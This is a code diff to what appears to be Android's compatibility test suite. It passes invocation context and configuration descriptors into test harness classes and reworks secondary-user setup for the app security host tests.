+ .getConfigurationDescriptor().getMetaData("component"));
+ receivedModuleNameTestEnded.addAll(myContext.getModuleInvocationContext()
+ .getAttributes().get(IModuleDef.MODULE_NAME));
+ receivedAbiTestEnded.addAll(myContext.getModuleInvocationContext()
+ .getAttributes().get(IModuleDef.MODULE_ABI));
+ }
+ };
+ myListener.invocationStarted(mContext);
+ mTest.run(myListener);
+ myListener.invocationEnded(500);
+ EasyMock.verify(mMockDevice, mMockBuildInfo);
+ // verify metadata was retrieved during testRunEnded callbacks
+ assertEquals("[testRunEnded] wrong number of metadata collected",
+ 1, receivedComponentsTestRunEnded.size());
+ assertEquals("[testRunEnded] wrong component metadata field received",
+ component, receivedComponentsTestRunEnded.get(0));
+ assertEquals("[testRunEnded] wrong number of module name collected",
+ 1, receivedModuleNameTestRunEnded.size());
+ assertEquals(moduleName, receivedModuleNameTestRunEnded.get(0));
+ assertEquals("[testEnded] wrong number of module abi collected",
+ 1, receivedAbiTestRunEnded.size());
+ assertEquals(mAbi, receivedAbiTestRunEnded.get(0));
+ // verify metadata was retrieved during testEnded callbacks
+ assertEquals("[testEnded] wrong number of metadata collected",
+ 1, receivedComponentsTestEnded.size());
+ assertEquals("[testEnded] wrong component metadata field received",
+ component, receivedComponentsTestEnded.get(0));
+ assertEquals("[testEnded] wrong number of module name collected",
+ 1, receivedModuleNameTestEnded.size());
+ assertEquals(moduleName, receivedModuleNameTestEnded.get(0));
+ assertEquals("[testEnded] wrong number of module abi collected",
+ 1, receivedAbiTestEnded.size());
+ assertEquals(mAbi, receivedAbiTestEnded.get(0));
+ }
+
+ /**
* Simple tests running in one module that run some tests but not all of them.
*/
@Test
@@ -297,6 +400,7 @@
};
mTest.setDevice(mMockDevice);
mTest.setBuild(mMockBuildInfo);
+ mTest.setInvocationContext(mContext);
OptionSetter setter = new OptionSetter(mTest, mReporter);
setter.setOptionValue("retry", "0");
@@ -370,6 +474,7 @@
};
mTest.setDevice(mMockDevice);
mTest.setBuild(mMockBuildInfo);
+ mTest.setInvocationContext(mContext);
OptionSetter setter = new OptionSetter(mTest, mReporter);
setter.setOptionValue("retry", "0");
@@ -426,6 +531,7 @@
ITestInvocationListener listener = getShardListener(mMasterReporter);
((IBuildReceiver)mShardTest).setBuild(mBuild);
((IDeviceTest)mShardTest).setDevice(mDevice);
+ ((IInvocationContextReceiver)mShardTest).setInvocationContext(mContext);
listener.invocationStarted(mShardContext);
try {
mShardTest.run(listener);
@@ -572,6 +678,7 @@
((IBuildReceiver)tests.get(0)).setBuild(mMockBuildInfo);
((IDeviceTest)tests.get(0)).setDevice(mMockDevice);
+ ((IInvocationContextReceiver)tests.get(0)).setInvocationContext(mContext);
mReporter.invocationStarted(mContext);
try {
tests.get(0).run(mReporter);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
index 4aa67ac..af44c29 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
@@ -16,6 +16,7 @@
package com.android.compatibility.common.tradefed.testtype;
+import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.targetprep.ITargetPreparer;
@@ -46,7 +47,8 @@
public void testAccessors() throws Exception {
IAbi abi = new Abi(ABI, "");
MockRemoteTest mockTest = new MockRemoteTest();
- IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+ IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>(),
+ new ConfigurationDescriptor());
assertEquals("Incorrect ID", ID, def.getId());
assertEquals("Incorrect ABI", ABI, def.getAbi().getName());
assertEquals("Incorrect Name", NAME, def.getName());
@@ -55,7 +57,8 @@
public void testModuleFinisher() throws Exception {
IAbi abi = new Abi(ABI, "");
MockRemoteTest mockTest = new MockRemoteTest();
- IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+ IModuleDef def = new ModuleDef(NAME, abi, mockTest,
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
ITestInvocationListener mockListener = EasyMock.createMock(ITestInvocationListener.class);
// listener should receive testRunStarted/testRunEnded events even for no-op run() method
mockListener.testRunStarted(ID, 0);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
index 504d5e9..76ea433 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
@@ -19,6 +19,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.testtype.ModuleRepo.ConfigFilter;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.targetprep.ITargetPreparer;
@@ -440,22 +441,22 @@
TestRuntime test1 = new TestRuntime();
test1.runtimeHint = 100l;
IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
- new ArrayList<ITargetPreparer>());
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
testList.add(mod1);
TestRuntime test2 = new TestRuntime();
test2.runtimeHint = 100l;
IModuleDef mod2 = new ModuleDef("test2", new Abi("arm", "32"), test2,
- new ArrayList<ITargetPreparer>());
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
testList.add(mod2);
TestRuntime test3 = new TestRuntime();
test3.runtimeHint = 100l;
IModuleDef mod3 = new ModuleDef("test3", new Abi("arm", "32"), test3,
- new ArrayList<ITargetPreparer>());
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
testList.add(mod3);
TestRuntime test4 = new TestRuntime();
test4.runtimeHint = 100l;
IModuleDef mod4 = new ModuleDef("test4", new Abi("arm", "32"), test4,
- new ArrayList<ITargetPreparer>());
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
testList.add(mod4);
// if we don't shard everything is in one shard.
List<IModuleDef> res = mRepo.getShard(testList, 0, 1);
@@ -480,7 +481,7 @@
TestRuntime test1 = new TestRuntime();
test1.runtimeHint = 100l;
IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
- new ArrayList<ITargetPreparer>());
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
testList.add(mod1);
List<IModuleDef> res = mRepo.getShard(testList, 1, 2);
assertNull(res);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
new file mode 100644
index 0000000..331f978
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+
+import java.util.Collections;
+import java.util.Set;
+
+/**
+ * A test Stub that can be used to fake some runs.
+ */
+public class SimpleTestStub implements IRemoteTest, IAbiReceiver, IRuntimeHintProvider,
+ ITestCollector, ITestFilterReceiver {
+
+ // options below are unused
+ @Option(name = "report-test")
+ protected boolean mReportTest = false;
+ @Option(name = "run-complete")
+ protected boolean mIsComplete = true;
+ @Option(name = "test-fail")
+ protected boolean mDoesOneTestFail = true;
+ @Option(name = "internal-retry")
+ protected boolean mRetry = false;
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+ // We report 1 passing tes
+ listener.testRunStarted("module-run", 1);
+ TestIdentifier tid = new TestIdentifier("TestStub", "test1");
+ listener.testStarted(tid);
+ listener.testEnded(tid, Collections.emptyMap());
+ listener.testRunEnded(0, Collections.emptyMap());
+ }
+
+ @Override
+ public void setAbi(IAbi abi) {
+ // Do nothing
+ }
+
+ @Override
+ public long getRuntimeHint() {
+ return 1L;
+ }
+
+ @Override
+ public void setCollectTestsOnly(boolean shouldCollectTest) {
+ // Do nothing
+ }
+
+ @Override
+ public void addIncludeFilter(String filter) {
+
+ }
+
+ @Override
+ public void addAllIncludeFilters(Set<String> filters) {
+
+ }
+
+ @Override
+ public void addExcludeFilter(String filter) {
+
+ }
+
+ @Override
+ public void addAllExcludeFilters(Set<String> filters) {
+
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
index 799cff3..8e20133 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtilTest.java
@@ -20,6 +20,7 @@
import com.android.compatibility.common.tradefed.testtype.IModuleDef;
import com.android.compatibility.common.tradefed.testtype.ModuleDef;
import com.android.compatibility.common.tradefed.testtype.TestStub;
+import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.targetprep.ITargetPreparer;
import com.android.tradefed.testtype.Abi;
@@ -43,9 +44,9 @@
public void testCount_2uniquesModules() {
List<IModuleDef> list = new ArrayList<>();
list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
assertEquals(2, UniqueModuleCountUtil.countUniqueModules(list));
}
@@ -53,9 +54,9 @@
public void testCount_2subModules() {
List<IModuleDef> list = new ArrayList<>();
list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
assertEquals(1, UniqueModuleCountUtil.countUniqueModules(list));
}
@@ -63,21 +64,21 @@
public void testCount_mix() {
List<IModuleDef> list = new ArrayList<>();
list.add(new ModuleDef("moduleA", new Abi("arm64", "64"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleB", new Abi("arm64", "64"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleB", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleC", new Abi("arm64", "64"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleA", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
list.add(new ModuleDef("moduleC", new Abi("arm32", "32"), new TestStub(),
- new ArrayList<ITargetPreparer>()));
+ new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor()));
assertEquals(6, UniqueModuleCountUtil.countUniqueModules(list));
}
}
diff --git a/hostsidetests/appsecurity/AndroidTest.xml b/hostsidetests/appsecurity/AndroidTest.xml
index d1989e6..418d363 100644
--- a/hostsidetests/appsecurity/AndroidTest.xml
+++ b/hostsidetests/appsecurity/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for the CTS App Security host tests">
+ <target_preparer class="android.appsecurity.cts.AppSecurityPreparer" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsAppSecurityHostTestCases.jar" />
<option name="runtime-hint" value="20m" />
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index 16e2765..a1bcc30 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -55,6 +55,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mCtsBuild);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
new file mode 100644
index 0000000..b1ac744
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TargetSetupError;
+
+/**
+ * Creates secondary and tertiary users for use during a test suite.
+ */
+public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner {
+ @Override
+ public void setUp(ITestDevice device, IBuildInfo buildInfo)
+ throws TargetSetupError, BuildError, DeviceNotAvailableException {
+ // Clean up any lingering users from other tests to ensure that we have
+ // best shot at creating the users we need below.
+ removeSecondaryUsers(device);
+
+ final int maxUsers = device.getMaxNumberOfUsersSupported();
+ if (maxUsers > 1) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ if (maxUsers > 2) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ }
+
+ @Override
+ public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+ throws DeviceNotAvailableException {
+ removeSecondaryUsers(device);
+ }
+
+ private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
+ final int[] userIds = Utils.getAllUsers(device);
+ for (int i = 1; i < userIds.length; i++) {
+ device.removeUser(userIds[i]);
+ CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 36b0921..390064d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -110,7 +110,8 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- // ensure build has been set before test is run
+
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mCtsBuild);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 69ff55e..920e0a5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -17,29 +17,17 @@
package android.appsecurity.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
import java.util.ArrayList;
-import java.util.Map;
/**
* Base class.
*/
public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
- protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
- private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
-
protected IBuildInfo mBuildInfo;
/** Whether multi-user is supported. */
@@ -62,49 +50,12 @@
mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
mIsSplitSystemUser = checkIfSplitSystemUser();
mPrimaryUserId = getDevice().getPrimaryUserId();
- mFixedUsers = new ArrayList();
+ mFixedUsers = new ArrayList<>();
mFixedUsers.add(mPrimaryUserId);
- if (mPrimaryUserId != USER_SYSTEM) {
- mFixedUsers.add(USER_SYSTEM);
+ if (mPrimaryUserId != Utils.USER_SYSTEM) {
+ mFixedUsers.add(Utils.USER_SYSTEM);
}
getDevice().switchUser(mPrimaryUserId);
- removeTestUsers();
- }
-
- @Override
- protected void tearDown() throws Exception {
- removeTestUsers();
- super.tearDown();
- }
-
- /**
- * @return the userid of the created user
- */
- protected int createUser() throws DeviceNotAvailableException, IllegalStateException {
- final String command = "pm create-user "
- + "TestUser_" + System.currentTimeMillis();
- CLog.d("Starting command: " + command);
- final String output = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + output);
-
- if (output.startsWith("Success")) {
- try {
- return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
- } catch (NumberFormatException e) {
- CLog.e("Failed to parse result: %s", output);
- }
- } else {
- CLog.e("Failed to create user: %s", output);
- }
- throw new IllegalStateException();
- }
-
- private void removeTestUsers() throws Exception {
- for (int userId : getDevice().listUsers()) {
- if (!mFixedUsers.contains(userId)) {
- getDevice().removeUser(userId);
- }
- }
}
private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
@@ -131,37 +82,4 @@
String output = getDevice().executeShellCommand(command);
return output.contains(packageName);
}
-
- private void printTestResult(TestRunResult runResult) {
- for (Map.Entry<TestIdentifier, TestResult> testEntry :
- runResult.getTestResults().entrySet()) {
- TestResult testResult = testEntry.getValue();
- CLog.d("Test " + testEntry.getKey() + ": " + testResult.getStatus());
- if (testResult.getStatus() != TestStatus.PASSED) {
- CLog.d(testResult.getStackTrace());
- }
- }
- }
-
- protected boolean runDeviceTestsAsUser(String packageName,
- String testClassName, String testMethodName, int userId) throws Exception {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = packageName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- packageName, RUNNER, getDevice().getIDevice());
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- CollectingTestListener listener = new CollectingTestListener();
- assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
-
- TestRunResult runResult = listener.getCurrentRunResults();
- printTestResult(runResult);
- return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
- }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 6a6c27d..2174fa0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -54,6 +54,7 @@
private String mFeatureList = null;
+ private int[] mUsers;
private IAbi mAbi;
private IBuildInfo mCtsBuild;
@@ -71,6 +72,7 @@
protected void setUp() throws Exception {
super.setUp();
+ mUsers = Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mCtsBuild);
@@ -148,11 +150,8 @@
}
public void doDirectBootTest(String mode) throws Exception {
- int[] users = {};
boolean doTest = true;
try {
- users = createUsersForTest();
-
// Set up test app and secure lock screens
new InstallMultiple().addApk(APK).run();
new InstallMultiple().addApk(OTHER_APK).run();
@@ -164,7 +163,7 @@
// Give enough time for PackageManager to persist stopped state
Thread.sleep(15000);
- runDeviceTests(PKG, CLASS, "testSetUp", users);
+ runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
// Give enough time for vold to update keys
Thread.sleep(15000);
@@ -184,19 +183,18 @@
if (doTest) {
if (MODE_NONE.equals(mode)) {
- runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", users);
+ runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
} else {
- runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", users);
+ runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
}
}
} finally {
try {
// Remove secure lock screens and tear down test app
- runDeviceTests(PKG, CLASS, "testTearDown", users);
+ runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
} finally {
getDevice().uninstallPackage(PKG);
- removeUsersForTest(users);
// Get ourselves back into a known-good state
if (MODE_EMULATED.equals(mode)) {
@@ -211,16 +209,6 @@
}
}
- private int[] createUsersForTest() throws DeviceNotAvailableException {
- // TODO: enable test for multiple users
- return new int[] { 0 };
-// return Utils.createUsersForTest(getDevice());
- }
-
- private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
- Utils.removeUsersForTest(getDevice(), users);
- }
-
private void runDeviceTests(String packageName, String testClassName, String testMethodName,
int... users) throws DeviceNotAvailableException {
for (int user : users) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
index ceb7539..7bdd128 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
@@ -48,6 +48,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mCtsBuild);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 915f147..235179b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -70,6 +70,7 @@
public void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mBuildInfo);
@@ -156,6 +157,14 @@
runDeviceTests(EPHEMERAL_1_PKG, WEBVIEW_TEST_CLASS, "testWebViewLoads");
}
+ public void testInstallPermissionNotGranted() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGranted");
+ }
+
+ public void testInstallPermissionGranted() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index e8dca57..87d8bd6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -52,6 +52,7 @@
private static final String MULTIUSER_PKG = "com.android.cts.multiuserstorageapp";
private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
+ private int[] mUsers;
private IAbi mAbi;
private IBuildInfo mCtsBuild;
@@ -74,6 +75,7 @@
protected void setUp() throws Exception {
super.setUp();
+ mUsers = Utils.prepareMultipleUsers(getDevice());
assertNotNull(mAbi);
assertNotNull(mCtsBuild);
}
@@ -87,7 +89,6 @@
* Verify that app with no external storage permissions works correctly.
*/
public void testExternalStorageNone() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -95,13 +96,12 @@
String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(NONE_PKG, COMMON_CLASS, user);
runDeviceTests(NONE_PKG, NONE_CLASS, user);
}
} finally {
getDevice().uninstallPackage(NONE_PKG);
- removeUsersForTest(users);
}
}
@@ -111,7 +111,6 @@
* correctly.
*/
public void testExternalStorageRead() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -119,13 +118,12 @@
String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, COMMON_CLASS, user);
runDeviceTests(READ_PKG, READ_CLASS, user);
}
} finally {
getDevice().uninstallPackage(READ_PKG);
- removeUsersForTest(users);
}
}
@@ -135,7 +133,6 @@
* correctly.
*/
public void testExternalStorageWrite() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -143,13 +140,12 @@
String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(WRITE_PKG, COMMON_CLASS, user);
runDeviceTests(WRITE_PKG, WRITE_CLASS, user);
}
} finally {
getDevice().uninstallPackage(WRITE_PKG);
- removeUsersForTest(users);
}
}
@@ -158,7 +154,6 @@
* directories belonging to other apps, and those apps can read.
*/
public void testExternalStorageGifts() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -170,13 +165,13 @@
// We purposefully delay the installation of the reading apps to
// verify that the daemon correctly invalidates any caches.
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(WRITE_PKG, ".WriteGiftTest", user);
}
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, ".ReadGiftTest", user);
runDeviceTests(NONE_PKG, ".GiftTest", user);
}
@@ -184,7 +179,6 @@
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- removeUsersForTest(users);
}
}
@@ -193,15 +187,14 @@
* isolated storage.
*/
public void testMultiUserStorageIsolated() throws Exception {
- final int[] users = createUsersForTest();
try {
- if (users.length == 1) {
+ if (mUsers.length == 1) {
Log.d(TAG, "Single user device; skipping isolated storage tests");
return;
}
- final int owner = users[0];
- final int secondary = users[1];
+ final int owner = mUsers[0];
+ final int secondary = mUsers[1];
// Install our test app
getDevice().uninstallPackage(MULTIUSER_PKG);
@@ -231,7 +224,6 @@
